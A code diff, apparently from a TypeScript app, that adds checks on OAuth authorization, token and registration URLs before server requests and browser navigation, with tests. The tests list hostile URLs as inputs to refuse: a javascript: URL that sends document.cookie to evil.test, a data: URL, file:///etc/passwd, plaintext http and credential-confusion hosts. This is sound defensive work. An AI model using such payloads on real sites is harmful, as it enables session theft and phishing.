@@ -4348,7 +4495,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} scopes, authorizationUrl: configuredAuthorizationUrl, tokenUrl: configuredTokenUrl, - registrationUrl: typeof oauth.registrationUrl === "string" ? oauth.registrationUrl : null, + registrationUrl: safeOAuthEndpointUrl("registration", oauth.registrationUrl, rejections, firstPartyOrigin), codeChallengeMethodsSupported: normalizeOauthScopes(oauth.codeChallengeMethodsSupported), tokenEndpointAuthMethodsSupported: normalizeOauthScopes(oauth.tokenEndpointAuthMethodsSupported), grantType, @@ -4371,7 +4518,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} metadataCandidates.push(...wellKnownMetadataUrls(endpoint.toString())); } for (const metadataUrl of [...new Set(metadataCandidates)]) { - const endpoints = await endpointsFromMetadataUrl(connection, metadataUrl); + const endpoints = await endpointsFromMetadataUrl(connection, metadataUrl, rejections, firstPartyOrigin); if (endpoints) { return { ...endpoints, @@ -4381,6 +4528,10 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} }; } } + // Nothing usable was found *and* something was refused on the way: report the + // refusal rather than the generic "does not advertise OAuth sign in", so the + // operator learns the server offered an unsafe address. + if (rejections.length > 0) throw rejections[0]; return null; } @@ -4400,7 +4551,17 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} if (!authorizationUrl || !tokenUrl) { throw unprocessable("OAuth provider endpoints are not configured for this app"); } - return { provider: app.slug, scopes: method.defaults?.scopesHint ?? [], authorizationUrl, tokenUrl, grantType: "authorization_code", metadataUrl }; + // A gallery default is Paperclip's own data, but it is still a URL that ends + // up as a browser navigation, and the metadata branch above reads the same + // untrusted document a generic connection does. Both go through the gate. + return { + provider: app.slug, + scopes: method.defaults?.scopesHint ?? [], + authorizationUrl: assertOAuthEndpointUrl("authorization", authorizationUrl), + tokenUrl: assertOAuthEndpointUrl("token", tokenUrl), + grantType: "authorization_code", + metadataUrl, + }; } async function oauthEndpointsForConnection( @@ -4415,14 +4576,18 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} const hasCompleteGalleryEndpointHints = Boolean( galleryMethod?.defaults?.authorizationEndpoint && galleryMethod.defaults.tokenEndpoint, ); - const discovered = connection.transport === "mcp_remote" && !hasCompleteGalleryEndpointHints - ? await discoverOAuthEndpoints(connection, challenge) + // The smoke-lab fixture's endpoints are first-party and complete, so + // discovery is not just unnecessary there, it must not run: an unreachable + // fixture endpoint would fail the whole callback. + const firstPartyOrigin = originOf(redirectUri); + const discovered = !smokeLabEndpoints && connection.transport === "mcp_remote" && !hasCompleteGalleryEndpointHints + ? await discoverOAuthEndpoints(connection, challenge, firstPartyOrigin) : null; const endpoints = smokeLabEndpoints ?? discovered ?? (galleryEntry && galleryMethod?.auth === "oauth" ? await oauthProviderEndpoints(galleryEntry, galleryMethod.key) - : await discoverOAuthEndpoints(connection, challenge)); + : await discoverOAuthEndpoints(connection, challenge, firstPartyOrigin)); if (!endpoints) throw unprocessable("This app connection does not advertise OAuth sign in"); assertNotSmokeLabOAuthEndpoints(connection, endpoints); return endpoints; @@ -4619,7 +4784,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} // others apply native-client redirect rules without it. application_type: "web", }; - const response = await fetchRemoteHttpUrl(input.endpoints.registrationUrl, { + const response = await fetchRemoteHttpUrl(assertOAuthEndpointUrl("registration", input.endpoints.registrationUrl), { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(requestedMetadata), @@ -5031,7 +5196,15 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} // exchange) to this MCP server. if (input.resource) body.set("resource", input.resource); - const response = await fetchRemoteHttpUrl(input.tokenUrl, { + // The token URL can come from a connection row written before the endpoint + // gate existed, so a client secret / authorization code never leaves + // Paperclip without re-checking the transport it would leave over. + const tokenUrl = assertOAuthEndpointUrl("token", input.tokenUrl, { + // Paperclip's own callback origin, so a first-party token endpoint keeps + // working on a deployment that is itself served over plaintext HTTP. + firstPartyOrigin: originOf(input.redirectUri), + }); + const response = await fetchRemoteHttpUrl(tokenUrl, { method: "POST", headers: { "content-type": "application/x-www-form-urlencoded" }, body, @@ -5674,7 +5847,13 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} } catch (error) { if (!galleryEntry && error instanceof HttpError && asRecord(error.details).code === "oauth_challenge") { const [oauthConnection] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionRow.id)); - const endpoints = await discoverOAuthEndpoints(oauthConnection).catch(() => null); + const endpoints = await discoverOAuthEndpoints(oauthConnection).catch((discoveryError: unknown) => { + // "This server advertised an address Paperclip refuses to open" is a + // refusal, not a failed discovery: keep it instead of collapsing it + // into the generic sign-in-required error. + if (isOAuthEndpointRejection(discoveryError)) throw discoveryError; + return null; + }); if (!endpoints) throw error; return { connectionId: oauthConnection.id, @@ -6195,7 +6374,15 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} expiresAt, }); - const authorizationUrl = new URL(endpoints.authorizationUrl); + // Last gate before this URL becomes a top-level browser navigation. Every + // producer above already validates, so reaching a rejection here means a new + // path was added without one — fail closed rather than hand the board an + // unvetted target. + const authorizationUrl = new URL(assertOAuthEndpointUrl("authorization", endpoints.authorizationUrl, { + // Paperclip's own callback origin: a first-party authorization endpoint is + // served however this deployment is served, plaintext LAN host included. + firstPartyOrigin: originOf(input.redirectUri), + })); authorizationUrl.searchParams.set("response_type", "code"); authorizationUrl.searchParams.set("client_id", client.clientId); authorizationUrl.searchParams.set("redirect_uri", input.redirectUri); diff --git a/ui/src/lib/authorizationUrl.test.ts b/ui/src/lib/authorizationUrl.test.ts new file mode 100644 index 00000000000..f41a396a953 --- /dev/null +++ b/ui/src/lib/authorizationUrl.test.ts @@ -0,0 +1,62 @@ +// @vitest-environment jsdom +import { afterEach, describe, expect, it } from "vitest"; +import { resolveAuthorizationTarget } from "./authorizationUrl"; + +/** + * PAP-17099 — the board's own copy of the endpoint gate. The shared validator is + * tested exhaustively in `@paperclipai/shared`; what matters here is that the + * board applies it, and that its loopback exception follows how the board itself + * is served rather than being unconditional. + */ +function serveBoardOver(protocol: "http:" | "https:") { + Object.defineProperty(window, "location", { + configurable: true, + value: { ...window.location, protocol }, + }); +} + +describe("resolveAuthorizationTarget", () => { + afterEach(() => { + // jsdom's default is a plaintext localhost board. + serveBoardOver("http:"); + }); + + it("accepts an https authorization page and reports its host", () => { + expect(resolveAuthorizationTarget("https://auth.example.test/authorize?state=abc")).toEqual({ + ok: true, + url: "https://auth.example.test/authorize?state=abc", + host: "auth.example.test", + }); + }); + + it.each([ + "javascript:fetch('https://evil.test/'+document.cookie)", + "data:text/html,", + "file:///etc/passwd", + "http://evil.test/authorize", + "https://auth.example.test@evil.test/authorize", + "https://auth.example.test/authorize#@evil.test", + "not-a-url", + "", + null, + undefined, + ])("refuses %s with a message that does not echo it", (value) => { + const target = resolveAuthorizationTarget(value); + expect(target.ok).toBe(false); + if (target.ok) return; + expect(target.message.length).toBeGreaterThan(0); + if (value) expect(target.message).not.toContain(value); + }); + + it("allows a loopback authorization server only on a plaintext-http board", () => { + serveBoardOver("http:"); + expect(resolveAuthorizationTarget("http://127.0.0.1:8930/authorize").ok).toBe(true); + + serveBoardOver("https:"); + expect(resolveAuthorizationTarget("http://127.0.0.1:8930/authorize")).toEqual({ + ok: false, + message: expect.stringContaining("secure"), + }); + expect(resolveAuthorizationTarget("https://auth.example.test/authorize").ok).toBe(true); + }); +}); diff --git a/ui/src/lib/authorizationUrl.ts b/ui/src/lib/authorizationUrl.ts new file mode 100644 index 00000000000..6bf23b3b505 --- /dev/null +++ b/ui/src/lib/authorizationUrl.ts @@ -0,0 +1,30 @@ +import { checkOAuthEndpointUrl, oauthEndpointUrlRejectionMessage } from "@paperclipai/shared"; + +export type AuthorizationTarget = + | { ok: true; url: string; host: string } + | { ok: false; message: string }; + +/** + * Vet an authorization URL before it becomes a top-level navigation (PAP-17099). + * + * The server already refuses to hand out an unsafe endpoint, but this is the + * boundary where a bad value would actually execute — `window.location.assign` + * on a `javascript:` URL runs script in the board's origin — so the board checks + * the same rules with the same shared validator rather than trusting the + * response body it just received. + */ +export function resolveAuthorizationTarget(value: string | null | undefined): AuthorizationTarget { + const servedOverHttp = typeof window !== "undefined" && window.location.protocol === "http:"; + const check = checkOAuthEndpointUrl(value ?? null, { + // A board served over plaintext HTTP is a local-development board, where a + // loopback authorization server is exactly what someone is testing against. + // A board served over HTTPS requires HTTPS. + allowInsecureLoopback: servedOverHttp, + // Paperclip's own origin: a first-party authorization endpoint (the smoke-lab + // fixture) is served however the board is, and going to the page you are + // already on adds no exposure. + allowInsecureOrigins: typeof window !== "undefined" ? [window.location.origin] : [], + }); + if (check.ok) return { ok: true, url: check.url, host: check.host }; + return { ok: false, message: oauthEndpointUrlRejectionMessage("authorization", check.reason) }; +} diff --git a/ui/src/pages/apps/AppDetail.test.tsx b/ui/src/pages/apps/AppDetail.test.tsx index c009b0d2a61..6be87c00cce 100644 --- a/ui/src/pages/apps/AppDetail.test.tsx +++ b/ui/src/pages/apps/AppDetail.test.tsx @@ -88,8 +88,9 @@ vi.mock("@/context/BreadcrumbContext", () => ({ useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }), })); +const pushToastMock = vi.hoisted(() => vi.fn()); vi.mock("@/context/ToastContext", () => ({ - useToast: () => ({ pushToast: vi.fn() }), + useToast: () => ({ pushToast: pushToastMock }), })); // eslint-disable-next-line @typescript-eslint/no-explicit-any @@ -244,7 +245,7 @@ describe("AppDetail", () => { startOAuthMock.mockResolvedValue({ connectionId: "conn-1", provider: "smoke_lab", - authorizationUrl: "http://example.test/oauth", + authorizationUrl: "https://example.test/oauth", expiresAt: "2026-07-10T00:00:00.000Z", }); }); @@ -795,6 +796,47 @@ describe("AppDetail", () => { await flushReact(); expect(startOAuthMock).toHaveBeenCalledWith("conn-1"); - expect(navigateTopLevelMock).toHaveBeenCalledWith("http://example.test/oauth"); + expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth"); + }); + + /** + * PAP-17099 — the server refuses to hand out an unsafe authorization endpoint, + * but this is the boundary where one would actually execute, so the board must + * refuse it independently of what the response body says. + */ + it.each([ + ["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"], + ["data:", "data:text/html,"], + ["file:", "file:///etc/passwd"], + ["plaintext http", "http://evil.test/authorize"], + ["credentials", "https://accounts.example.test@evil.test/authorize"], + ])("never navigates to a %s authorization url", async (_label, authorizationUrl) => { + mockParams.tab = "permissions"; + getConnectionMock.mockResolvedValue(connection({ + authKind: "oauth", + healthStatus: "failed", + healthMessage: "Authorization expired (invalid_grant).", + })); + startOAuthMock.mockResolvedValue({ + connectionId: "conn-1", + provider: "generic", + authorizationUrl, + expiresAt: "2026-07-10T00:00:00.000Z", + }); + + await renderAppDetail(); + await act(async () => { + Array.from(container.querySelectorAll("button")) + .find((button) => button.textContent?.trim() === "Reconnect") + ?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + + expect(navigateTopLevelMock).not.toHaveBeenCalled(); + expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ tone: "error" })); + // The refusal explains itself without echoing the hostile URL back into the DOM. + const body = String(pushToastMock.mock.calls.at(-1)?.[0]?.body ?? ""); + expect(body.length).toBeGreaterThan(0); + expect(body).not.toContain(authorizationUrl); }); }); diff --git a/ui/src/pages/apps/AppDetail.tsx b/ui/src/pages/apps/AppDetail.tsx index 5dff43b1c23..d458947ceca 100644 --- a/ui/src/pages/apps/AppDetail.tsx +++ b/ui/src/pages/apps/AppDetail.tsx @@ -22,6 +22,7 @@ import { accessApi } from "@/api/access"; import { authApi } from "@/api/auth"; import { buildCompanyUserLabelMap } from "@/lib/company-members"; import { installPayload, installStateFrom, type InstallState } from "@/lib/tool-installs"; +import { resolveAuthorizationTarget } from "@/lib/authorizationUrl"; import { navigateTopLevel } from "@/lib/browserNavigation"; import { Button } from "@/components/ui/button"; import { Input } from "@/components/ui/input"; @@ -246,7 +247,14 @@ export function AppDetail() { const startOAuth = useMutation({ mutationFn: () => toolsApi.startOAuth(connectionId), onSuccess: ({ authorizationUrl }) => { - navigateTopLevel(authorizationUrl); + // Checked again at the navigation boundary (PAP-17099): the address came + // from the remote server, and this is where an unsafe scheme would run. + const target = resolveAuthorizationTarget(authorizationUrl); + if (!target.ok) { + pushToast({ title: "Couldn't start sign-in", body: target.message, tone: "error" }); + return; + } + navigateTopLevel(target.url); }, onError: (error) => pushToast({ diff --git a/ui/src/pages/apps/AppsConnect.test.tsx b/ui/src/pages/apps/AppsConnect.test.tsx index 5c984034d00..aec5a95229d 100644 --- a/ui/src/pages/apps/AppsConnect.test.tsx +++ b/ui/src/pages/apps/AppsConnect.test.tsx @@ -1259,6 +1259,79 @@ describe("AppsConnect — guided generic MCP flow (PAP-17087)", () => { await flushReact(); expect(navigateTopLevelMock).toHaveBeenCalledWith("https://auth.example.test/authorize?state=abc"); + // Residual risk of a real-but-hostile authorization page: name the host the + // operator is being handed to (PAP-17099). + expect(container.textContent).toContain("auth.example.test"); + }); + + /** + * PAP-17099 — a generic MCP server picks its own authorization endpoint, and + * `window.location.assign` is where an unsafe scheme would actually execute. + * The board refuses independently of the API response. + */ + describe("unsafe authorization urls", () => { + const UNSAFE = [ + ["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"], + ["data:", "data:text/html,"], + ["file:", "file:///etc/passwd"], + ["plaintext http", "http://evil.test/authorize"], + ["credentials", "https://auth.example.test@evil.test/authorize"], + ] as const; + + it.each(UNSAFE)("never opens a %s start url from connect", async (_label, startUrl) => { + connectAppMock.mockResolvedValue({ + connectionId: "conn-1", + application: { id: "app-1", name: "mcp.example.test" }, + actions: { readOnly: [], canMakeChanges: [] }, + catalog: [], + suggestedDefaults: {}, + auth: { kind: "oauth", startUrl }, + }); + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + await flushReact(); + + expect(navigateTopLevelMock).not.toHaveBeenCalled(); + expect(container.textContent).toContain("couldn’t connect"); + // The refusal is explained without echoing the hostile address on screen. + expect(container.textContent).not.toContain(startUrl); + expect(container.textContent).toMatch(/sign-in address/); + }); + + it.each(UNSAFE)("never opens a %s authorization url from start sign-in", async (_label, authorizationUrl) => { + connectAppMock.mockResolvedValue({ + connectionId: "conn-1", + application: { id: "app-1", name: "mcp.example.test" }, + actions: { readOnly: [], canMakeChanges: [] }, + catalog: [], + suggestedDefaults: {}, + auth: { kind: "oauth", startUrl: null }, + }); + startOAuthMock.mockResolvedValue({ + connectionId: "conn-1", + provider: "mcp_example_test", + authorizationUrl, + expiresAt: "2099-01-01T00:00:00.000Z", + }); + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + await flushReact(); + + expect(startOAuthMock).toHaveBeenCalledWith("conn-1"); + expect(navigateTopLevelMock).not.toHaveBeenCalled(); + expect(container.textContent).toContain("couldn’t connect"); + expect(container.textContent).not.toContain(authorizationUrl); + // Retry is still offered rather than a dead end. + expect(buttonByText("Try again")).toBeTruthy(); + }); }); it("asks for a preregistered client rather than losing the draft", async () => { diff --git a/ui/src/pages/apps/AppsConnect.tsx b/ui/src/pages/apps/AppsConnect.tsx index c6894899f55..c4e3e484f50 100644 --- a/ui/src/pages/apps/AppsConnect.tsx +++ b/ui/src/pages/apps/AppsConnect.tsx @@ -47,6 +47,7 @@ import { ToggleSwitch } from "@/components/ui/toggle-switch"; import { Skeleton } from "@/components/ui/skeleton"; import { cn } from "@/lib/utils"; import { copyTextToClipboard } from "@/lib/clipboard"; +import { resolveAuthorizationTarget } from "@/lib/authorizationUrl"; import { navigateTopLevel } from "@/lib/browserNavigation"; import { AppLogo } from "./AppLogo"; import { appSourceConnectHref, isMcpDirectOAuthConnectSlug } from "./app-connect-policy"; @@ -211,6 +212,8 @@ export function AppsConnect() { const [installAgentIds, setInstallAgentIds] = useState>(new Set()); const [oauthPhase, setOAuthPhase] = useState("entry"); const [oauthError, setOAuthError] = useState(null); + /** Host of the page the operator is about to be sent to, shown while redirecting. */ + const [authorizationHost, setAuthorizationHost] = useState(null); const directOAuthStartedRef = useRef(false); const directOAuthRetryingRef = useRef(false); @@ -337,8 +340,17 @@ export function AppsConnect() { const oauthStartMutation = useMutation({ mutationFn: (connectionId: string) => toolsApi.startOAuth(connectionId), onSuccess: ({ authorizationUrl }) => { + // The endpoint chose this address, so it is checked here too — this is the + // line where an unsafe scheme would actually run (PAP-17099). + const target = resolveAuthorizationTarget(authorizationUrl); + if (!target.ok) { + setOAuthPhase("error"); + setOAuthError(target.message); + return; + } + setAuthorizationHost(target.host); setOAuthPhase("redirecting"); - navigateTopLevel(authorizationUrl); + navigateTopLevel(target.url); }, onError: (error) => { const details = error instanceof ApiError && error.body && typeof error.body === "object" @@ -409,9 +421,17 @@ export function AppsConnect() { startOAuth(result.connectionId); return; } + const target = resolveAuthorizationTarget(startUrl); + if (!target.ok) { + setGenericOAuthPending(true); + setOAuthPhase("error"); + setOAuthError(target.message); + return; + } + setAuthorizationHost(target.host); setOAuthPhase("redirecting"); setGenericOAuthPending(true); - navigateTopLevel(startUrl); + navigateTopLevel(target.url); return; } setLinkGuidance(null); @@ -576,6 +596,7 @@ export function AppsConnect() { entry={directOAuthEntry} phase={oauthPhase} error={oauthError} + authorizationHost={authorizationHost} onRetry={async () => { setOAuthError(null); setOAuthPhase("starting"); @@ -633,6 +654,7 @@ export function AppsConnect() { }} phase={oauthPhase} error={oauthError} + authorizationHost={authorizationHost} onRetry={() => { setOAuthError(null); const connectionId = connectResult?.connectionId; @@ -943,6 +965,7 @@ export function OAuthConnectStateScreen({ identity, phase, error, + authorizationHost, onRetry, onCancel, }: { @@ -952,6 +975,12 @@ export function OAuthConnectStateScreen({ identity?: { name: string; unverifiedHost: string | null }; phase: OAuthConnectPhase; error?: string | null; + /** + * Host of the authorization page being opened. A valid HTTPS authorization + * page can still be a phishing page, so the operator sees exactly which host + * they are being handed to (PAP-17099). + */ + authorizationHost?: string | null; onRetry: () => void; onCancel: () => void; }) { @@ -970,7 +999,9 @@ export function OAuthConnectStateScreen({ : phase === "redirecting" ? { title: `Opening ${serverName}`, - body: `Continue in ${serverName} to choose a workspace and approve access.`, + body: authorizationHost + ? `Continue at ${authorizationHost} to choose a workspace and approve access. Only approve access if you recognize that address.` + : `Continue in ${serverName} to choose a workspace and approve access.`, } : { title: `${serverName} couldn’t connect`, diff --git a/ui/src/pages/apps/app-detail/AdvancedPanel.tsx b/ui/src/pages/apps/app-detail/AdvancedPanel.tsx index fb369769962..d7a5043ea0a 100644 --- a/ui/src/pages/apps/app-detail/AdvancedPanel.tsx +++ b/ui/src/pages/apps/app-detail/AdvancedPanel.tsx @@ -8,6 +8,7 @@ import { Button } from "@/components/ui/button"; import { Input } from "@/components/ui/input"; import { useToast } from "@/context/ToastContext"; import { redactUrlSecrets } from "@/lib/redact-url-secrets"; +import { resolveAuthorizationTarget } from "@/lib/authorizationUrl"; import { navigateTopLevel } from "@/lib/browserNavigation"; import type { AppDetailSectionProps } from "./types"; @@ -89,7 +90,16 @@ export function ReconnectCard({ const { pushToast } = useToast(); const reconnectOAuth = useMutation({ mutationFn: () => toolsApi.startOAuth(connection.id), - onSuccess: ({ authorizationUrl }) => navigateTopLevel(authorizationUrl), + onSuccess: ({ authorizationUrl }) => { + // Reconnect navigates to the same discovered address a fresh connect does, + // so it goes through the same gate (PAP-17099). + const target = resolveAuthorizationTarget(authorizationUrl); + if (!target.ok) { + pushToast({ title: "Couldn’t start sign-in", body: target.message, tone: "error" }); + return; + } + navigateTopLevel(target.url); + }, onError: (error) => pushToast({ title: "Couldn’t start sign-in",